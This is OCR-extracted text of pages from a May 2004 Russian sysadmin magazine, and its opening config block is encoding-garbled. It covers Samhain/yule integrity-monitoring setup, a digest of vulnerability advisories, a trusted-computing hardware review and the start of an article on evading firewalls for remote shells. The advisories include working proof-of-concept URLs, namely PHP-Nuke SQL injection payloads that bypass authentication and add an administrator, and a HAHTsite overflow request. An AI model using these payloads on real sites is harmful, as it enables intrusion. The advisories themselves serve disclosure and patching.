è èñïîëüçîâàíèå pipe-êàíàëîâ.#SetConsole=device# èñïîëüçîâàíèå ñîîòâåòñòâóþùèõ àëãîðèòìîâ äëÿ âû÷èñëåíèÿ# çíà÷åíèÿ êîíòðîëüíûõ ñóìì ôàéëîâ, âìåñòî TIGER# (èñïîëüçóéòå îäèí è òîò æå òèï ñèãíàòóðû íà ñåðâåðå# è êëèåíòàõ)#DigestAlgo=MD5#DigestAlgo=SHA1# óïðîùåííàÿ ñèãíàòóðà, ìîæåò ïîíàäîáèòüñÿ äëÿ ïîâûøåíèÿ# áûñòðîäåéñòâèÿ, ïîäðîáíåå â ðàçäåëå "Performance tuning"#MACType=HASH-TIGER# íà÷èíàÿ ñ âåðñèè 1.7.0, yule ìîæåò ïîñëå çàïóñêà ïåðåõîäèòü# â chroot (ïîäðîáíåå â äîêóìåíòàöèè)#SetChrootDir=path# îïöèÿ, íåîáõîäèìàÿ äëÿ âêëþ÷åíèÿ ïðîñëóøèâàíèÿ UDP-ïîðòà# log-ñåðâåðîì (ïðè êîìïèëèðîâàíèè ñ îïöèåé --enable-udp)SetUDPActive=yes# åñëè â âàøåì âûâîäå ìíîãî ñîîáùåíèé îá èçìåíåíèè CTIME,# ÷òî ìîæåò ïðîèñõîäèòü ïðè èñïîëüçîâàíèè íåêîòîðûõ ñèñòåì# ðåçåðâèðîâàíèÿ, òî ìîæåò ïîìî÷ü íèæíÿÿ îïöèÿ, îòêëþ÷àþùàÿ# ýòó ïðîâåðêó#RedefReadOnly=-CTM

# ôîðìàò çàãîëîâêà ñîîáùåíèÿ# %S ñåðüåçíîñòü# %T timestamp# %C class# %F èñõîäíûé ôàéë# %L èñõîäíàÿ ñòðîêà# MessageHeader="%S %T " [EOF]

# gpg -a --clearsign --not-dash-escaped /etc/samhainrc

# mv -f /etc/samhainrc.asc /etc/samhainrc

# cat /etc/samhainrc | gpg --status-fd 1 --verify ↵↵↵↵↵--homedir /root/.gnupg --no-tty

# /usr/local/sbin/samhain -t init

# gpg -a --clearsign --not-dash-escaped ↵↵↵↵↵/var/lib/samhain/samhain_file

# mv /var/lib/samhain/samhain_file.asc ↵↵↵↵↵/var/lib/samhain/samhain_file

samhain -t check

Page 61: 018 Системный Администратор 05 2004

59№5(18), май 2004

безопасность

после чего на регистраторы, описанные в конфигураци-онном файле, будет поступать информация. В случае гло-бальных изменений обновить базу можно командой:

Но наибольшее преимущество достигается при запус-ке этой утилиты в качестве демона, тогда программа за-поминает все изменения и не будет раздражать повторя-ющимися сообщениями. К тому же только тогда будут вполной мере задействованы все дополнительные возмож-ности в виде проверок на kernel rootkits и пр. Запуститьможно тремя способами: при установке Daemon=yes сек-ции Misc и запуска без параметров, программа все ос-тальное, необходимое для работы, возьмет из конфигу-рационного файла; аналогично программа себя поведетпри запуске при помощи стартовых скриптов, расположен-ных в /etc, например /etc/rc.d/samhain start, и наконец ука-зав, чем ей заниматься в строке запуска:

где -D указывает на запуск в виде процесса-демона.Но для нормальной работы в среде клиент-сервер для

начала придется установить и настроить сервер yule, ина-че клиенты будут ругаться при запуске о том, что не могутнайти конфигурационный файл и будут пользоваться ло-кальным.

Конфигурация сервера yule требует меньших опций,т.к. его задача только собирать логи. При необходимостизащиты и самого сервера на нем устанавливается иsamhain. Я не буду останавливаться подробно, так какмногие вопросы аналогичны установке и конфигурирова-нию клиента samhain.

Чтобы узнать местонахождение библиотеки libwrap,используем следующую команду:

И еще небольшое примечание, возможно использова-ние единой базы для всех клиентов. Для ее активациитребуется использование примерно такой опции:

Но как мне кажется, это не во всех случаях приемлемо иудобно, в том числе могут возникнуть и проблемы безопас-ности, кому интересно, детали, как всегда, в документации.

После конфигурирования получаем отчет об установках.

Компилируем и устанавливаем:

Конфигурационный файл сервера yule называется /etc/yulerc, его структура похожа на samhainrc, за исключениемотсутствия секций проверок (остались Misc, Database, Log иExternal) и добавления секции Clients. Первые секции полно-стью рассмотрены раннее и хотя есть незначительные отли-чия (например, TrustedUser не имеет пользователя по умол-чанию), но останавливаться на них не будем. Разберем раз-дел Clients. Вы не ошибетесь, если подумаете, что в ней опи-сана регистрация клиентов. Каждый клиент в файле описанстрокой: Client=HOSTNAME_ CLIENT1@salt@verifier.

Для того чтобы создать запись для каждого клиента,необходимо выполнить несколько простых шагов:! выбрать пароль в 16 символов (только знаки 0-9, a-f,

A-F). Для автоматического генерирования случайныхпаролей используйте опцию --gen-password (или -G).

! на клиенте при помощи samhain_setpwd установите но-вый пароль (без параметров утилиты выдаст исполь-зуемые опции).

Получившийся файл samhain.new переименовываем вsamhain:

Впрочем, эту операцию можно проделывать и на сер-вере, копируя затем файлы samhain.new на клиентс-кие компьютеры при помощи, например, ssh.

! на сервере создаем комбинацию для регистрации кли-ента:

Заменяем HOSTNAME на полное доменное имя кли-ента вида client.mydomain.com и заносим эту строку всекцию Clients.

! Повторяем эту процедуру для каждого клиента.

samhain-1.8.3 # ./configure --with-gpg=/usr/bin/gpg--with-fp=EA9E228F669770837DD41540FB4AD9A83D8B7333--enable-static --enable-network=server ↵↵↵↵↵

--with-database=mysql --with-trusted=0,500--with-libwrap=/usr/lib/libwrap.a

# whereis libwraplibwrap: /usr/lib/libwrap.a

samhain-1.8.3 # makesamhain-1.8.3 # make installsamhain-1.8.3 # make install-boot

# /usr/local/sbin/yule -G477631269C2CC74B

# ./samhain_setpwd samhain new 477631269C2CC74B

# cp /usr/local/sbin/samhain.new /usr/local/sbin/samhain

# /usr/local/sbin/yule -P 477631269C2CC74B

samhain -t update

samhain -D -t check

--with-data-file=REQ_FROM_SERVER/var/lib/samhain/data.samhain

Page 62: 018 Системный Администратор 05 2004

60

безопасность

После запуска сервера и клиентов последние начинаютустанавливать соединение с сервером. Проблемы при ра-боте возникали в основном из-за неправильной настройкисети, служба DNS не могла определить имя (лучше пропи-сать в /etc/hosts, в документации показано, как правильноэто сделать), при компиляции с поддержкой libwrap не про-писал клиентов в файле /etc/hosts.allow. В последней версиипоявился документ, описывающий основные проблемы, воз-никающие при взаимодействии клиентов и сервера и путиих решения – HOWTO-client+server-troubleshooting.html. Со-ветую ознакомиться.

И в завершение приведу примеры сообщений, выда-ваемых Samhain, которые в особенном комментарии ненуждаются.

Пояснения, наверное, требуют разве что конструкциивида <POLICY [ReadOnly] C--I----TS>. Все просто, здесьуказана действующая политика и параметры, которые из-менились со времени последней проверки. Их расшиф-ровка такая:! «C» – контрольная сумма,! «L» – мягкие ссылки,! «D» – номер устройства (device number),! «I» – inode,! «H» – количество жестких ссылок «hardlinks»,! «M» – режим «mode»,! «U» – владелец «user»,! «G» – группа «group»,! «T» – время «time» (любое),! «S» – указывает на изменившийся размер «size» файла.

И пару слов о Beltane (http://www.la-samhna.de/beltane/index.html), представляющей собой консоль управленияи получения информации от клиентов, доступную черезвеб-интерфейс. Работает в клиент/серверной среде споддержкой регистрации на SQL базу данных. Для рабо-ты необходим веб-сервер Apache, PHP. На клиентскойстороне требуется веб-браузер с поддержкой Javascriptи включенным Cookies. На сайте доступны две версииBeltane: свободная 1.0.4 и платная 2.x, имеющая ряд до-полнительных возможностей, для пароля доступа к ко-торой потребуется выложить 25 Euro. Документация на-ходится в архиве.

Распаковываем, конфигурируем и в конце проверяемправильность установок.

После чего, используя опции команды configure, по-правляем. В зависимости от того как используется PHP,как программа CGI или модуль apache, Beltane долженбыть сконфигурирован с различными параметрами длясценария ./configure.

Основными опциями являются:! --with-php-dir=DIR,! --with-php-extension=EXT,! --enable-mod-php,! --with-user=USERNAME.

В результате в корневом каталоге веб-сервера долженпоявиться подкаталог (по умолчанию php), содержащийрабочие файлы. И теперь, введя в строке браузера путь кэтим данным, можно управлять информацией и настрой-ками. По умолчанию используется логин/пароль rainer/wichmann (рис. 3), его необходимо обязательно изменитьчерез веб-интерфейс или воспользовавшись утилитойmakepasswd.pl.

Мы не рассмотрели еще много вопросов, например,развертывание удаленных конфигураций, позволяющихв полуавтоматическом режиме развернуть систему длябольшого числа компьютеров, включая сервер. Подроб-но этот процесс описан в разделе «Deployment to remotehosts». Не сказано совсем ничего про установку и настрой-ку под Windows NT/2000/XP, применение стеганографии.Но описанного в статье достаточно для базовой установ-ки и настройки, а главное для понимания возможностей.При необходимости оставшиеся вопросы будут освеще-ны в следующий раз.

Page 63: 018 Системный Администратор 05 2004

Удаленное выполнение произвольногокода в HAHTsite Scenario ServerПрограмма: HAHTsite Scenario Server 5.1 Patches 1 – 6.Опасность: Высокая.Описание: Уязвимость обнаружена в HAHTsite ScenarioServer. Удаленный пользователь может выполнить произ-вольный код на целевой системе.

Удаленный пользователь может представить специаль-но обработанный запрос с чрезмерно длинным именемпроекта, чтобы вызвать переполнение буфера и переза-писать регистр EIP и выполнить произвольный код на си-стеме с SYSTEM-привилегиями.

Пример:

URL производителя: http://www.haht.com.Решение: Установите обновленную версию программы:ftp://ftp.haht.com/pub/support/fixes/hs51/build91/ox79989_buffer_overrun_fix.zip.

Составил Александр Антипов

http://[hostname]/[cgialias]/hsrun.exe/[ServerGroupName]/ ↵↵↵↵↵

[ServerGroupName]/[VeryLongProjectName].htx;start=[PageName]

Переполнение буфера в Panda ActiveScanПрограмма: Panda ActiveScan 5.0Опасность: Высокая.Описание: Переполнение буфера обнаружено в PandaActiveScan. Удаленный пользователь может выполнитьпроизвольный код на целевой системе.

Переполнение буфера обнаружено в ascontrol.dll. Еслицелевой пользователь предварительно запустил PandaActiveScan, то удаленный пользователь может сконструиро-вать HMTL, использующий ASControl.ReportHebrew.1-объектсо специально обработанным значением «Internacional»,чтобы вызвать переполнение буфера и выполнить произ-вольный код на системе.Решение: Установите обновленную версию уязвимой ком-поненты. Обновленная версия будет установленна авто-матически при следующем выполнении on-line-сканиро-вания.

Sql-инъекция и межсайтовый скриптингв PHP-NukeПрограмма: PHP-Nuke 6.0-7.2.Опасность: Высокая.Описание: Несколько уязвимостей обнаружено в PHP-Nuke. Удаленный пользователь может внедрить произ-вольные SQL-команды. Злонамеренный пользователь мо-жет выполнить XSS-нападение.

1. Данные, представленные пользователем к параметру«user», base64 декодируются перед использованием в SQL-запросе. В результате злонамеренный пользователь можетвнедрить символы, которые обычно фильтруются, чтобы ма-нипулировать SQL-запросами. Пример (позволяет обойтипроцедуру аутентификации и читать приватные сообщения):

2.Уязвимость, подобная 1, обнаружена в параметре«admin». Пример (удаленный пользователь может выпол-нять некоторые административные функции, типа добав-ления пользователя):

Также сообщаетя об XSS-уязвимости в некоторых ис-пользуемых темах.URL производителя: http://phpnuke.org.Решение: Изучите исходный код и внесите соответству-ющие исправления.

http://localhost/nuke71/modules.php?name=Private_Messages&file=index&folder=inbox&mode=read&p= ↵↵↵↵↵

1&user= ↵↵↵↵↵eDpmb28nIFVOSU9OIFNFTEVDVCAyLG51bGwsMSwxLG51bGwvKjox

http://localhost/nuke71/admin.php?op=AddAuthor&add_aid=waraxe2&add_name=God&add_pwd= ↵↵↵↵↵

coolpass&[email protected] ↵↵↵↵↵&add_radminsuper=1&admin=eCcgVU5JT04gU0VMRUNUIDEvKjox

Удаленное переполнение буферав обработчике HTML-сообщенийв IMail ExpressПрограмма: IMail Express до версии 8.05.Опасность: Критическая.Описание: Уязвимость обнаружена в IMail Express. Зло-намеренный пользователь может скомпрометировать уяз-вимую систему.

Удаленный пользователь может представить специаль-но обработанное HTML-сообщение, содержащее тэг textдлиннее 1024 байт, чтобы вызвать переполнение буферав обработчике HTML-сообщений в Web Messaging. Уязви-мость может использоваться для выполнения произволь-ного кода.URL производителя: http://www.IpSwitch.com.Решение: Установите обновленную версию программы:ftp://ftp.ipswitch.com/install/imailex.exe.

Удаленный отказ в обслуживанииKerio WinRoute FirewallПрограмма: Kerio WinRoute Firewall до версии 5.1.10.Опасность: Низкая.Описание: Уязвимость обнаружена в Kerio WinRouteFirewall. Уязвимость в работке HTTP-заголовков можетпривезти к аварийному завершению работу программы.Дополнительные подробности не раскрываются.URL производителя: http://www.kerio.com/kms_home.html.Решение: Установите обновленную версию программы(5.1.10): http://www.kerio.com/kwf_download.htm

Создание произвольных файловна целевой системе в CVSПрограмма: CVS 1.11.15.Опасность: Средняя.Описание: Две уязвимости обнаружены в CVS. Уязви-мость обнаружена в обработке имени пути в RCS diff-фай-лах. Когда целевой пользователь выполняет CVS checkoutили обновление через сеть, то клиент целевого пользова-теля принимает абсолютные пути. В результате удален-ный сервер может создать произвольные файлы на сис-теме подключенного пользователя. Также сообщается, чтоудаленный авторизованный пользователь может просмот-реть содержание RCS-архивных файлов на CVS-сервере.URL производителя: http://www.cvshome.org.Решение: Установите последнюю версию программы:http://ccvs.cvshome.org/servlets/ProjectDownloadList.

61№5(18), май 2004

bugtraq

Page 64: 018 Системный Администратор 05 2004

62

безопасность

В январе 2004 года группа экспертов по компьютерной бе-зопасности SPRG (the Security Peer Review Group) опуб-ликовала отчет с итогами анализа защищенности экспе-риментальной системы голосования SERVE (SecureElectronic Registration and Voting Experiment). Основнаяцель программы, в рамках которой разрабатывалась сис-тема SERVE, заключалась в предоставлении гражданамСША, находящимся за пределами страны, а также воен-ным, морякам и другим категориям граждан, которые породу своей деятельности большую часть времени нахо-дятся в движении, возможности выполнения процедурызаочного голосования с использованием Интернета напредварительных и основных выборах руководства стра-ны. Результаты исследований показали настолько высо-

ЧТО ЖДЕТ ПЕРСОНАЛЬНЫЕКОМПЬЮТЕРЫ ЗАВТРА?

МАКСИМ КОСТЫШИН

кую степень различного рода рисков при использованииперсональных компьютеров и Интернета, что экспертыSPRG настойчиво рекомендовали заморозить все рабо-ты в этом направлении и использовать альтернативнуюсистему, в которой электронная часть системы голосова-ния должна была представлять собой умный принтер и неболее, на основе киосков, расположенных в консульствахи на военных базах по всему миру. Киоски, согласно тре-бованиям специалистов, не должны подключаться к Ин-тернету. Весь обмен данными, обновление программно-го обеспечения рекомендовано было выполнять с исполь-зованием твердых носителей, а бюллетени в бумажномвиде пересылать для окончательного подсчета в родныеокруга.

Page 65: 018 Системный Администратор 05 2004

63№5(18), май 2004

безопасность

overrun), которые использовались, например, в MSBlasterи Slammer.

Принцип защиты основан на механизме запрета вы-полнения процессором любого программного кода, запи-санного в буфер данных в случаях переполнения. При этомдля контроля используется дополнительный флаг NX (NoneXecutive, запрещено исполнение кода из страницы). С по-мощью указанного флага помечаются границы стека про-граммы. Если переполнение буфера происходит, и дан-ные затирают информацию стека, процессор отслежива-ет эту ситуацию и выдает ошибку доступа памяти. Такимобразом, в случаях, если в памяти компьютера появляет-ся зловредный код, который эксплуатирует ошибку раз-работчиков приложения с использованием переполнениябуфера, то атакующий код не будет активизирован, а привыключении ПК – просто уничтожится.

Для решения текущих вопросов безопасности техно-логия Execution Protection является наиболее востребован-ной рядовыми пользователями компьютеров. По оценкамспециалистов более 50% уязвимостей Microsoft Windowsмогли бы быть локализованы с помощью применения по-добных решений. Однако еще раз напомним о том, чтотехнология хотя уже и реализована в процессорах Athlon64, Opteron, однако реально заработает только на плат-форме Windows XP после выпуска Microsoft пакета обнов-ления SP2. И все же Execution Protection не является пол-ным решением проблемы buffer overflow. Применение тех-нологии просто не позволяет злоумышленникам эксплуа-тировать ошибки переполнения буфера с возможностьюпроведения атак. Без установки обновлений продуктоватаки на такого рода уязвимости будут приводить к ава-рийному завершению приложения, вызвавшего ошибку.

Компания Intel предусматривала ввести аналогичнуюсхему в Prescott. Однако среди характеристик процессо-ра, заявленных производителем, данные о поддержке под-робной технологии отсутствуют.

Для получения дополнительной информации о техно-логии Execution Protection желающие могут обратиться кстатье С.Озерова и А.Карабуто [5].

Технология EMBASSY от WaveОткрытый стандарт EMBedded Application Security SYstem(EMBASSY), был разработан компанией Wave (http://www.wave.com/technology/embassy.html). Он представля-ет собой использование специального вспомогательногочипа EMBASSY, содержащего собственный микропроцес-сор, модуль шифрования, таймер и защищенную память.Особенности включения чипа в архитектуру компьютерапозволяют ему полностью контролировать работу PC. Приэтом имеет место сосуществование двух сред – обычнойоперационной системы, запускающей и обеспечивающейработу пользовательских приложений, и изолированнойи защищенной, обладающей, кроме всего прочего, воз-можностями безопасного хранения критичных данных(криптографических ключей, цифровых сертификатов,личных данных и т. п.).

Чип EMBASSY был применен при разработке аппарат-ного криптопровайдера EMBASSY CSP (Cryptographic ServiceProvider) для Windows (со стандартным интерфейсом

Основными невозможными для решения в настоящеевремя проблемами были названы:! текущая организация регулирования работы Интерне-

та, а также использование устаревших протоколов итехнологических решений, которые не удовлетворяютнеобходимому уровню безопасности;

! отсутствие мер в рамках существующей архитектурыперсональных компьютеров, позволяющих обеспечитьгарантированную защиту конфиденциальных данныхсвоих владельцев и самих PC от различного рода атак.

Интернет-голосование является одним из компонентовэлектронного правительства, а проблемы, которые в оче-редной раз осветили специалисты SPRG, весьма актуаль-ны для любой составляющей. Поэтому устранение основ-ных препятствий может существенно продвинуть обще-ство в развитии технологий электронного правительстваи электронной коммерции, повысить уровень доверия ря-довых пользователей к услугам, предоставляемым с ис-пользованием Интернета.

Если остановиться на первой проблеме, то в после-днее время в прессе появилось много информации о воз-росшем интересе к проблемам регулирования Интернетане только со стороны государств, но и со стороны такихсерьезных международных организаций, как ООН и Ев-росоюз. Это уже не просто расширение слежки за интер-нет-трафиком со стороны спецслужб различных госу-дарств, а создание отдельных государственных органи-заций, целью которых является разработка рекомендацийпо законному использованию Интернета, выработка ме-тодик расследования правонарушений, защита интересовбольшого количества участников интернет-рынка. Обще-ственное мнение уже формируется в сторону необходи-мости принятия принципиально новых решений для вне-сения изменений в регулирование работы глобальной сетиИнтернет.

Решение второй проблемы в практическом плане про-двинулось намного дальше. Для повышения уровня безо-пасности персональных компьютеров уже имеются конк-ретные как теоретические разработки, так и аппаратно-программные решения различных сообществ и фирм-про-изводителей. В данной статье приводится перечень и крат-кое описание реализаций уже появившихся на мировомрынке и тех, которые будут представлены в ближайшеевремя.

Решение Execution Protectionкомпании AMDТехнология Execution Protection была разработана ком-панией AMD (http://www.amd.com/). Ее элементами яв-ляются процессор AMD64 и Windows XP Service Pack 2,выход которого планируется в середине 2004 года.Execution Protection была создана для того, чтобы про-тиводействовать атакам определенных видов вирусов.Расширенная технология защиты от вирусов AMD всочетании с Data Execution Prevention компании Microsoft,включенной в состав Windows XP SP2, решают задачизащиты от атак, эксплуатирующих достаточно распрост-раненный тип ошибок – выход за границы буфера (buffer

Page 66: 018 Системный Администратор 05 2004

64

безопасность

Microsoft CSP) в виде модуля, подключаемого к компью-теру с использованием шины USB.

Технология VIA PadLock компании VIAКомпания VIA Technologies, Inc (http://www.viatech.com/) сде-лала уже несколько серьезных шагов в сторону обеспече-ния гибких решений для быстрой, эффективной и безопас-ной корпоративной связи в рамках реализации VIA PadLock.Это инициативы Hardware Security Suite и VIA Padlock Security.

VIA PadLock Hardware Security SuiteНа первом этапе VIA первой в мире включила в разработ-ку x36 процессора (первые версии ядра Nehemiah) снача-ла генератор случайных чисел VIA PadLock RNG (RandomNumber Generator), а затем, в последнем ядре C5PNehemiah (процессоры Eden, C3, Antaur), добавила вто-рой генератор и криптографический блок VIA PadLock ACE(Advanced Cryptography Engine), поддерживающий стан-дарт шифрования AES (Advanced Encryption Standard).

Согласно официальным данным компании CryptographyResearch, Inc., полученным в феврале 2003 года, произ-водительность генератора случайных чисел VIA C3Nehemiah random number generator оценивается в диапа-зоне 30-50 Мбит/сек для получения необработанных бит(raw bits) и 4-9 Мбит/сек для очищенных бит (whitened bits).

Некоторые данные о производительности криптогра-фического модуля процессора VIA C3 1.2 ГГц приведеныв трех таблицах, далее по тексту (для сравнения, про-граммная реализация AES на компьютере с процессоромIntel Pentium 4 3 ГГц обеспечивает производительностьоколо 200 Мбайт/сек).

VIA Padlock Security19 марта 2004 года на выставке CeBIT в Ганновере (Гер-мания) было объявлено о выпуске программного пакетаVIA PadLock Security, включающего утилиту VIA PadLockSecureLine (SL) Utility и средство программной разработ-ки (SDK). Утилита представляет собой пример реализа-ции защищенного обмена сообщениями и файлами, а SDKможет быть использовано разработчиками для того, что-бы создавать новые приложения безопасности, которыерешают конкретные нужды клиентов.

Пакет VIA PadLock Security полностью совместим сосредами семейства операционных систем MicrosoftWindows и Linux. VIA PadLock Security работает на любойплатформе с x86 процессором, однако максимальная про-изводительность достигается при использовании аппарат-ных возможностей процедуры генерации случайных чи-сел VIA PadLock Random Number Generator и шифрова-ния с использованием алгоритма AES VIA PadLockAdvanced Cryptography Engine, встроенных в ядро C5PNehemiah процессоров Eden, Antaur и C3.

Для сводного использования (http://www.viaarena.com/?PageID=399) имеются две версии, рассчитанные для ра-боты в Microsoft Windows 2000 или XP и Red Hat Linux 9.0.

По заявлениям VIA функциональность VIA PadLock SLможет быть легко расширена для реализации защищен-ных IP-телефонии и видеоконференций. Кроме того, ис-пользование VIA PadLock Security позволит решить про-блемы производительности для операций шифрованияданных жесткого диска, а также их надежного удаления.Любое компьютерное приложение, требующее решениязадач конфиденциальности и защищенности (например,электронная почта), может использовать возможности VIAPadLock для генерации надежной ключевой пары (откры-тый/личный ключ) для защиты данных от модификаций иобеспечения вопросов конфиденциальности.

LaGrande от IntelРешение LaGrande (LaGrande Technology – LT) было впер-вые представлено Intel в 2002 году на традиционном фо-руме Intel Developer Forum (IDF). Технология получила своеназвание в честь американского городка, расположенно-го в штате Орегон. В основе LaGrande лежит механизмпомещения каждого из выполняющихся на компьютерепроцессов в свою изолированную оболочку. Тем самымразработчики попытались максимально снизить различ-ного рода риски, связанные с несанкционированным дос-тупом к данным и программному коду. Аппаратная частьрешения опирается на использование специального чипа,который носит общее название Trusted Platform Module(TPM) и выполнен в рамках открытой спецификацииTrusted Computing Group – TCG (с осени 1999 года до вес-ны 2003 года работу в этой области вела организация подназванием Trusted Computing Platform Alliance – TCPA)версии 1.2. Технология подразумевает криптографичес-кую защиту обмена данными IDE, USB и PS/2 интерфей-сов между всеми компонентами, обеспечивающими вза-имодействие оператора с компьютером (клавиатура,мышь, видеоплата). Компьютеры, которые защищеныLaGrande, должны содержать, кроме нового элемента

Page 67: 018 Системный Администратор 05 2004

65№5(18), май 2004

безопасность

TPM, привычные компоненты, в то же время отличающи-еся от тех, которые мы используем в настоящее время(речь идет в том числе о материнской плате, процессоре,BIOS).

Поддержка LaGrande официально заявлена Intel в ха-рактеристиках недавно представленного на рынке процес-сора Prescott. Кроме того, в процессоре реализованы воз-можности еще одной технологии Intel – Vanderpool, обес-печивающей аппаратную поддержку независимой парал-лельной работы нескольких операционных систем. Приэтом возможна независимая перезагрузка любой из них.

Помимо аппаратных новшеств технология LaGrandeдля своего использования требует программной поддер-жки на уровне операционной системы, а также пользова-тельских приложений. Microsoft планирует реализоватьвозможности защиты LaGrande, встроив NGSCB (Next-Generation Secure Computing Base, в недавнем прошлом –Palladium) в свою очередную операционную системуLonghorn. Данных о реализации поддержки технологии вUNIX-системах пока нет. Так что желающим увидетьLaGrande в действии придется еще некоторое время по-дождать.

Подводя итогПредставленные в обзоре технологии представляют со-бой решения, построенные на открытой спецификацииTrusted Computing Group – TCG с использованием допол-нительного модуля, реализующего (в большей или мень-шей степени) функциональность Trusted Platform Module –TPM (исключение – технология Execution Protection).

Особенностью спецификации TCG является приме-нение технических подходов, позволяющих решить воп-росы изолированного выполнения программ на персо-нальном компьютере и защиты ядра функционирующейсистемы, определить защищенное хранилище конфиден-циальных данных, а также обеспечить повышенную про-изводительность для основных криптографических опе-раций (генерация случайных чисел, создание надежныхключей, шифрование, выработка и проверка электрон-ной цифровой подписи, выполнение операций хэширо-вания).

Несложно прогнозировать, что интерес разработчиковсредств защиты от несанкционированного доступа, а так-же различного рода программных решений в области ком-пьютерной безопасности, будет смещаться к использова-нию возможностей, предлагаемых в рамках открытой спе-цификации. Наличие в составе группы TCG известныхпроизводителей компьютеров и комплектующих к ним, атакже программного обеспечения, позволяет обоснован-но предсказывать хорошее будущее решениям на основемодуля TPM. Нет сомнения, что коммерческие продукты,в которых реализованы TCG-подходы, найдут свое при-менение и в государственных системах, критичных к воп-росам безопасности, в виде COTS (Commercial-off-the-Shelf) компонент.

В то же время автору неизвестно о проведении неза-висимого анализа самой технологии и сделанных на ос-нове детального изучения выводах. Кроме того, нельзягарантировать, что каждый из разработчиков не внесет

при внедрении конкретных решений в технологию своидополнения, которые расширят функциональность и сни-зят безопасность системы. В связи с тем, что технологияеще «не обкатана», есть вероятность того, что некоторыене учтенные в спецификации моменты могут случайно илипод влиянием нюансов закулисной конкурентной борьбыпривести к небольшим отличиям в реализациях различ-ных производителей hardware или software (на уровне опе-рационной системы), что повлечет за собой отсутствиепереносимости решений разработчиков программногообеспечения прикладного уровня.

По мнению некоторых специалистов, технология при-несет больше пользы для Windows-систем, и в меньшейстепени необходима для UNIX-подобных систем, что свя-зано с принципиальными различиями в архитектурахэтих ОС.

Широкое применение технологий TCG, кроме вопро-сов обеспечения повышенных мер безопасности, предос-тавляет разработчикам дополнительные возможности дляприменения новых подходов к решению задачи защитыавторских прав. При этом проблемы использования и рас-пространения контрафактного программного обеспече-ния, а также аудио- и видеопродукции в цифровом фор-мате, особенно для стран бывшего СССР, могут встатьвесьма остро.

Ссылки:1. A Security Analysis of the Secure Electronic Registration

and Voting Experiment (SERVE). January 20, 2004.http://www.servesecurityreport.org;

2. Хранитель печатей. Р.Матвеенко.http://www.comprice.ru/safe/2003-23.phtml;

3. VIA расширяет инициативу безопасности PadLock с вы-пуском пакета VIA PadLock Security Suite. Пресс-релиз.http://www.via-c3.ru/press/pr190304_2.shtml;

4. Технологии компьютерной безопасности. Часть 1. IntelLaGrande Technology — архитектура компьютерной бе-зопасности. С.Озеров.http://www.terralab.ru/system/32571;

5. Технологии компьютерной безопасности. Часть 2. AMDExecution Protection – маленькая революция. С.Озеров,А.Карабуто.http://www.terralab.ru/system/32706/;

6. Защита подождет? В. Соболев. Журнал «Мир ПК»,№02, 2004 год.http://www.osp.ru/pcworld/2004/02/028.htm;

7. Концепция LaGrande: аппаратная защита одних про-грамм от других. А.Медведев.http://www.ixbt.com/editorial/lagrande.html;

8. LaGrande – технология защиты от внешних посяга-тельств. В.Володин.http://tech.stolica.ru/article.php?id=2003101201;

9. TCG PC Specific Implementation Specification Version 1.1.August 18, 2003.https://www.trustedcomputinggroup.org/downloads/TCG_PCSpecificSpecification_v1_1.pdf;

10. Trusted Computing Group. Backgrounder. May 2003.https://www.trustedcomputinggroup.org/downloads/TCG_Backgrounder.pdf.

Page 68: 018 Системный Администратор 05 2004

66

безопасность

ПОБЕГ ЧЕРЕЗ БРАНДМАУЭРПЛЮС ТЕРМИНАЛИЗАЦИЯ ВСЕЙ NT

КРИС КАСПЕРСКИ

В настоящей статье рассматриваются различные способы обхода брандмауэров с цельюорганизации на атакуемом компьютере удаленного терминального shell, работающегопод операционными системами UNIX и Windows 9x/NT. Здесь вы найдете передовые хакерскиеметодики, свободно проникающие через любой, абсолютно любой брандмауэр независимоот его архитектуры, степени защищенности и конфигурации, а также свободно распространяемыйпакет демонстрационных утилит, предназначенный для тестирования вашего брандмауэрана предмет его защищенности (или же отсутствие таковой). Статья ориентирована на специалистовпо информационной безопасности и системных администраторов, знакомых с языком Сии имеющих опыт работы с Berkley-сокетами.

Первый этап работынад составлением программы – шумиха.

Второй – неразбериха.Третий – поиски виноватых.

Четвертый – наказание невиновных.Пятый – награждение непричастных.

Из фольклора программистов

Page 69: 018 Системный Администратор 05 2004

67№5(18), май 2004

безопасность

Проникнув на уязвимый компьютер, голова червя должнаустановить TCP/IP- (или UDP-) соединение с исходным уз-лом и подтянуть свое основное тело (также называемое«хвостом»). Аналогичной методики придерживаются и ха-керы, засылающие на атакуемый компьютер диверсион-ный эксплоит, срывающий стек и устанавливающий уда-ленный терминальный shell, взаимодействующий с узломатакующего посредством того же самого TCP/IP, и в этомконтексте между червями и хакерами нет никакой прин-ципиальной разницы (нередко установка backdoor с по-мощью червей и осуществляется).

Однако на пути червя может оказаться недружелюб-но настроенный брандмауэр, которые сейчас в моде ибез него не обходится практически ни одна уважающаясебя корпоративная сеть. Да что там сеть – брандмауэри на домашних компьютерах уже не редкость. Между тем,слухи о могуществе брандмауэров очень сильно преуве-личены и в борьбы с червями они до ужаса неэффектив-ны. Хотите узнать почему? Тогда читайте эту статью доконца!

Что может и что не может брандмауэрБрандмауэр может наглухо закрыть любой порт, выбороч-но или полностью блокируя как входящие, так и исходя-щие соединения, однако этот порт не может быть портомдействительно нужной публичной службы, от которойнельзя отказаться. Так, например, если фирма имеет соб-ственный почтовый сервер, в обязательном порядке дол-жен быть отрыт 25-й SMTP-порт (а иначе как прикажетеписьма получать?). Соответственно наличие веб-серверапредполагает возможность подключения к 80-му порту из«внешнего мира».

Допустим, что одна или несколько таких служб содер-жат уязвимости, допускающие возможность переполне-ния буфера со всеми вытекающими отсюда последствия-ми (захват управления, несанкционированная авториза-ция и т. д.). Тогда никакой, даже самый продвинутый бран-дмауэр не сможет предотвратить вторжение, посколькупакеты с диверсионным shell-кодом на сетевом уровне нео-тличимы от пакетов с легальными данными. Исключениесоставляет поиск и отсечение головы вполне конкретногочервя, сигнатура которого хорошо известна брандмауэ-ру. Однако наложение заплатки на уязвимый сервис бу-дет намного более эффективным средством борьбы (слу-чай, когда червь опережает заплатку, мы не рассматри-ваем, поскольку такие существуют только теоретически).Кстати говоря, брандмауэр и сам по себе представляетдовольно соблазнительный объект для атаки (некоторыеиз брандмауэров имели переполняющиеся буфера, допус-кающие захват управления).

Но как бы там ни было, срыву буфера уязвимой служ-бы брандмауэр никак не препятствует. Единственное, чтоон может сделать – это свести количество потенциаль-ных дыр к разумному минимуму, закрыв порты всехслужб, не требующих доступа извне. В частности, червьLove San, распространяющийся через редко используе-мый 135-порт, давно и небезуспешно отсекается бранд-мауэрами, стоящими на магистральных интернет-кана-лах, владельцы которых посчитали, что лучше слегка ог-

